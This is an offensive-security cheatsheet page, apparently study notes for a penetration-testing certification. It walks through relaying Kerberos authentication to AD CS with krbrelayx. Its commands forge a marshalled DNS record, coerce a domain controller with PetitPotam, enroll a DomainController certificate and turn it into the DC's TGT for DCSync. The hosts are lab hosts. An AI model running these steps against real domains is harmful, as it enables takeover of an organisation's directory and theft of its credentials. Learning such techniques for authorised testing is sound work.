AD^:Active Directory

krbrelayx

Relay compatible Kerberos authentication to AD CS with krbrelayx; distinguish the victim, CA service identity and attacker-controlled DNS name.

advancedupdated 2026-10-11Certipy · bloodyAD · NetExec · krbrelayx

krbrelayx

Kerberos relay forwards a client’s authentication to a service that accepts it. The service must run under the identity for which the ticket was issued. Use krbrelayx for this path; certipy relay implements NTLM relay, while certipy auth can consume a certificate obtained afterward.

Keep the three roles separate

RoleExamplePurpose
Victimdc01.domain.htb / DC01$Account coerced into authenticating
CA web serverca01.domain.htbWeb Enrollment service accepting the relay
Attacker10.10.14.6Receives the callback and forwards it

The DNS label in the documented SMB technique represents the target service host, not automatically the victim DC. An ordinary attacker.domain.htb record is not a substitute. The CA and DC can be separate hosts.

Check prerequisites

  • Valid domain authentication for DNS changes/coercion, unless the environment exposes an unauthenticated alternative.
  • Permission to create the test DNS record.
  • A compatible coercion path and client behaviour; Windows patch level matters.
  • Reachable Web Enrollment, accepted Kerberos authentication, and no effective relay protection such as applicable Extended Protection/channel binding.
  • A template that the relayed identity is allowed to enroll in. DomainController is an example template name, not a universal guarantee.

Web Enrollment being enabled is a lead, not proof. NTLM being disabled does not establish that a Kerberos relay is possible. Check krbrelayx.py -h, dnstool.py -h and the installed coercion module’s options first.

1. Create and verify the test record

The following lab construction uses the minimal marshalled suffix from the linked research. The short SPN host must exist for the target service, and the full DNS label must fit the 63-character limit.

CA_SHORT='ca01'
RELAY_LABEL="${CA_SHORT}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"
RELAY_FQDN="${RELAY_LABEL}.domain.htb"

# With domain credentials; -k can use an existing ccache instead
dnstool.py -u 'DOMAIN\user' -p 'ExamplePassword!' \
  --zone domain.htb -r "$RELAY_FQDN" --action add \
  --data 10.10.14.6 10.10.10.5 --tcp

dig @10.10.10.5 "$RELAY_FQDN" A +short

The answer should be your listener address. Keep this exact FQDN for the coercion step. See dnstool & bloodyAD for record ownership and cleanup.

2. Start the correct listener

Check listener conflicts before starting; stop only the local service that actually owns the required port.

sudo ss -ltnup
sudo krbrelayx.py \
  -t 'http://ca01.domain.htb/certsrv/certfnsh.asp' \
  --adcs --template DomainController -v 'DC01$'

No unconstrained-delegation credentials are supplied: upstream selects relay mode when a target is provided without those keys. The target URL uses the CA FQDN, not its IP, because Kerberos service identity matters. -v identifies the relayed victim for the certificate request.

3. Trigger the compatible callback

In a second terminal, pass the same marshalled FQDN to the chosen coercion tool. NetExec module options vary; inspect them before running:

netexec smb dc01.domain.htb -u user -p 'ExamplePassword!' \
  -M coerce_plus --options

# If this build supports the LISTENER/METHOD options shown:
netexec smb dc01.domain.htb -u user -p 'ExamplePassword!' \
  -M coerce_plus -o LISTENER="$RELAY_FQDN" METHOD=PetitPotam

Your authentication to the victim and the victim’s callback authentication are separate. -k on the coercion client does not by itself force a relayable Kerberos callback. Verify the received authentication and destination service.

4. Validate the certificate

certipy auth -pfx 'DC01$.pfx' -dc-ip 10.10.10.5

Success: enrollment writes a certificate for the intended account, and certificate authentication obtains the expected account’s TGT. A callback, HTTP 200, or certificate request ID alone is insufficient. PKINIT may fail even after successful enrollment if the DC lacks the appropriate certificate configuration.

If the resulting DC machine credential has replication rights, see Impacket for DCSync. A DC machine ticket is not an Administrator ticket; keep the account identity explicit in later commands.

Troubleshooting and cleanup

SymptomCheck next
No callbackDNS from the victim’s resolver, route, listener, coercion method and patches
Callback is NTLMRequested hostname/SPN and client behaviour; use an NTLM workflow if appropriate
Kerberos accepted by SMB but rejected by HTTPTarget service identity, Web Enrollment auth and relay protections
Enrollment deniedVictim’s template permissions, published template and issuance requirements
PFX saved but PKINIT failsCertificate identity, DC support, clock and chain trust

Remove the DNS record you created, confirm the authoritative answer is gone, and record the certificate request ID and any issued credential in the cleanup notes. Certificate revocation is a CA-side task; removing a local PFX does not revoke it.

See Also

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.